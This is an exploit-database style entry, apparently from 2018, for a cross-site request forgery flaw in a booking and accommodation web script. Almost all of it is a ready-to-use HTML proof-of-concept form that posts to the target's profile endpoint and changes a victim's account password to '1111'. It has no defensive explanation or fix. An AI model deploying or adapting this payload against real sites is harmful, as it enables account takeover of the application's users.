# Exploit Title: Enterprise Student/Renter Accommodation & Reservation Motel / Bed Booking - Cross-Site Request Forgery
# Date: 2018-12-13
# Exploit Author: Veyselxan
# Vendor Homepage:https://codecanyon.net/item/enterprise-studentrenter-accommodation-reservation-motel-bed-booking/21860215?s_rank=26
# Version: v1 (REQUIRED)
# Tested on: Linux
# 1 Poof Of Concept (Change password):
<html>
<body>
<form action="http://Target/action.php?action=profile" method="post" class="form-horizontal form-bordered">
<input type="text" class="form-control" name="password" value="1111" required="" ">
<input type="hidden" name="id" value="business@techdynamics.org">
<button type="submit" class="btn green">Update</button>
</form>
</body>
</html>
